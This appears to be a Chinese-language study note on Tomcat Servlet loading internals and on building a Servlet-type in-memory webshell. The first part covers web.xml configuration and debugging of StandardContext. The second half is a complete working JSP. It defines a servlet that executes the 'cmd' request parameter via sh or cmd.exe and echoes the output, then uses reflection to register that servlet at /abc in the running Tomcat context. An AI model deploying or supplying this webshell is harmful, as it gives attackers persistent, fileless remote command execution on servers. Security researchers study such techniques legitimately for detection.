配置servlet

我们之前配置了注解,@WebServlet("/TestServlet")那么其实也可以用web.xml来配置Servlet。

在web.xml中添加

  1. <servlet>
  2. <servlet-name>IndexServlet</servlet-name>
  3. <servlet-class>Servlet.IndexServlet</servlet-class>
  4. </servlet>
  5. <servlet-mapping>
  6. <servlet-name>IndexServlet</servlet-name>
  7. <url-pattern>/kaixin</url-pattern>
  8. </servlet-mapping>

然后写一个Servlet

  1. public class IndexServlet extends HttpServlet {
  2. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  3. PrintWriter writer = response.getWriter();
  4. writer.println("hello");
  5. }
  6. }

断点调试

我们看看Servlet是如何装载的,首先给org/apache/catalina/core/StandardContext.java下断点。

Java内存马学习笔记-servlet - 图1

然后到这个地方

Java内存马学习笔记-servlet - 图2

就从这个函数就可以看出来是先添加Listener然后是filter,最后装在servlet。

前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数

可以看到下面图中首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,选出 >= 0 的项加载到一个存放Wapper的list中

Java内存马学习笔记-servlet - 图3

然后就会对每个wapper进行装载

Java内存马学习笔记-servlet - 图4

装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:

  1. 装载:启动服务器时加载Servlet的实例
  2. 初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
  3. 调用:即每次调用Servletservice(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGetdoPost内部实现,具体参照HttpServletservice()的重写)
  4. 销毁:停止服务器时调用destroy()方法,销毁实例

添加完之后我们查看ServletMappings的变化,查看其中的对应关系

Java内存马学习笔记-servlet - 图5

所以Servlet型内存Webshell的主要步骤如下:

  • 创建恶意Servlet
  • 用Wrapper对其进行封装
  • 添加封装后的恶意Wrapper到StandardContext的children当中
  • 添加ServletMapping将访问的URL和Servlet进行绑定
  1. <%@ page import="org.apache.catalina.core.StandardContext" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.connector.Request" %>
  4. <%@ page import="java.io.InputStream" %>
  5. <%@ page import="java.util.Scanner" %>
  6. <%@ page import="java.io.IOException" %>
  7. <%@ page import="org.apache.catalina.Wrapper" %>
  8. <%@ page import="java.io.PrintWriter" %>
  9. <%!
  10. Servlet servlet = new Servlet() {
  11. @Override
  12. public void init(ServletConfig servletConfig) throws ServletException {
  13. }
  14. @Override
  15. public ServletConfig getServletConfig() {
  16. return null;
  17. }
  18. @Override
  19. public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  20. String cmd = servletRequest.getParameter("cmd");
  21. boolean isLinux = true;
  22. String osTyp = System.getProperty("os.name");
  23. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  24. isLinux = false;
  25. }
  26. String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  27. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  28. Scanner s = new Scanner(in).useDelimiter("\\a");
  29. String output = s.hasNext() ? s.next() : "";
  30. PrintWriter out = servletResponse.getWriter();
  31. out.println(output);
  32. out.flush();
  33. out.close();
  34. }
  35. @Override
  36. public String getServletInfo() {
  37. return null;
  38. }
  39. @Override
  40. public void destroy() {
  41. }
  42. };
  43. %>
  44. <%
  45. // 一个小路径快速获得StandardContext
  46. Field reqF = request.getClass().getDeclaredField("request");
  47. reqF.setAccessible(true);
  48. Request req = (Request) reqF.get(request);
  49. StandardContext stdcontext = (StandardContext) req.getContext();
  50. %>
  51. <%
  52. Wrapper newWrapper = stdcontext.createWrapper();
  53. String name = servlet.getClass().getSimpleName();
  54. newWrapper.setName(name);
  55. newWrapper.setLoadOnStartup(1);
  56. newWrapper.setServlet(servlet);
  57. newWrapper.setServletClass(servlet.getClass().getName());
  58. %>
  59. <%
  60. // url绑定
  61. stdcontext.addChild(newWrapper);
  62. stdcontext.addServletMappingDecoded("/abc", name);
  63. %>

Java内存马学习笔记-servlet - 图6